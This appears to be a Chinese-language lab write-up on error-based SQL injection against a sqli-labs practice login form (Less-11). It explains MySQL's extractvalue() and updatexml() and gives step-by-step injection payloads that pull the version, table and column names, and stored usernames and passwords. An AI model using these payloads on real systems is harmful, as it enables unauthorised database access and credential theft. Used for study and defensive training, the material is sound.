函数解释
    extractvalue() 从目标xml中返回包含所查询值得字符串
    EXTRACTVALUE(XML_document, XPath_string);
    第一个参数XML_documnet是string格式,为XML文档对象的名称,文中为Doc
    第二个参数XPath_string(XPath格式的字符串)
    concat:返回结果为连接产生的字符串
    UPDATAXML ( XML_document, XPath_string, new_value);
    第一个参数:XML_document是string格式,为XML文档对象的名称,文中为Doc
    第二个参数:XPath_string (Xpath格式的字符串),如果不了解xpath语法,可以在网上查找数据
    第三个参数:new_value, string格式,替换查到的符合条件的数据

    报错注入它显示不全,我们往往需要通过limit 对它进行逐个查看
    如果被有些字符被过滤可以使用concat(0x十六进制,内容,0x十六进制)进行拼接
    靶场
    http://172.16.58.244:83/Less-11/
    首先使用单引号使他报错
    image.png
    但我们看不到sql注入类型是什么
    我们在其后面再加一个双引号

    image.png
    发现他是一个单引号注入
    使它不报错加一个%23
    image.png
    使用order by 看字段
    image.png
    发现是两个字段
    image.png
    我们再使用union联合查询来查询我们要查的东西
    这里我们要用到extractvalue()这个函数
    extractvalue(文档名称随便写,xpath的字符串必须是xpath的语法‘但我们不使用xpath语法来使他报错’)
    uname=’union select 1,extractvalue(1,(select version())) %23&passwd=1&submit=Submit
    image.png
    但发现报的内容不全
    可以用concat函数做拼接
    uname=’union select 1,extractvalue(1,concat(0x7e,(select version()))) %23&passwd=1&submit=Submit
    这里的0x7e就是~的十六进制,也可以用 ‘~’ 表示 也可以用’%’但害怕后台过滤符号,最好用十六进制的方式
    image.png
    然后我们就可以查询其他数据了
    比如我们现在查询当前数据库所有的表
    uname=’union select 1,extractvalue(1,concat(0x7e,(select table_name from information_schema.tables where table_schema=database()))) %23&passwd=1&submit=Submit
    image.png
    查出来发现他说返回数据多了1行,所以我们用limit 进行逐行显示
    uname=’union select 1,extractvalue(1,concat(0x7e,(select table_name from information_schema.tables where table_schema=database() limit 0,1))) %23&passwd=1&submit=Submit
    下标第一行
    image.png
    下标第二行
    uname=’union select 1,extractvalue(1,concat(0x7e,(select table_name from information_schema.tables where table_schema=database() limit 1,1))) %23&passwd=1&submit=Submit

    image.png
    查到表之后我们再查这个表里面的列名
    uname=’union select 1,extractvalue(1,concat(0x7e,(select column_name from information_schema.columns where table_schema=database() and table_name=’users’ limit 0,1))) %23&passwd=1&submit=Submit
    image.png

    image.png
    image.png
    根据我们查到的内容
    数据库security 表users 字段username,password
    利用以上信息来查询用户名和密码
    用户1
    uname=’union select 1,extractvalue(1,concat(0x7e,(select username from security.users limit 0,1))) %23&passwd=1&submit=Submit
    image.png
    密码1
    image.png
    用户2
    image.png

    密码2
    image.png

    利用updatexml也能实现报错注入
    updatexml(1,2,3)他需要三个参数,我们使用第二个参数进行注入
    查看版本号
    uname=’union select 1,updatexml(1,concat(0x7e,(select version())),3) %23&passwd=1&submit=Submit
    image.png
    查看所有表
    uname=’union select 1,updatexml(1,concat(0x7e,(select table_name from information_schema.tables limit 3,1)),3) %23&passwd=1&submit=Submit
    image.png
    查看当前数据库的表所有字段
    uname=’union select 1,updatexml(1,concat(0x7e,(select column_name from information_schema.columns where table_schema=database() limit 2,1)),3) %23&passwd=1&submit=Submit
    image.png

    查看当前数据库下users表中的字段
    uname=’union select 1,updatexml(1,concat(0x7e,(select column_name from information_schema.columns where table_schema=database()and table_name=’users’ limit 1,1)),3) %23&passwd=1&submit=Submit
    image.png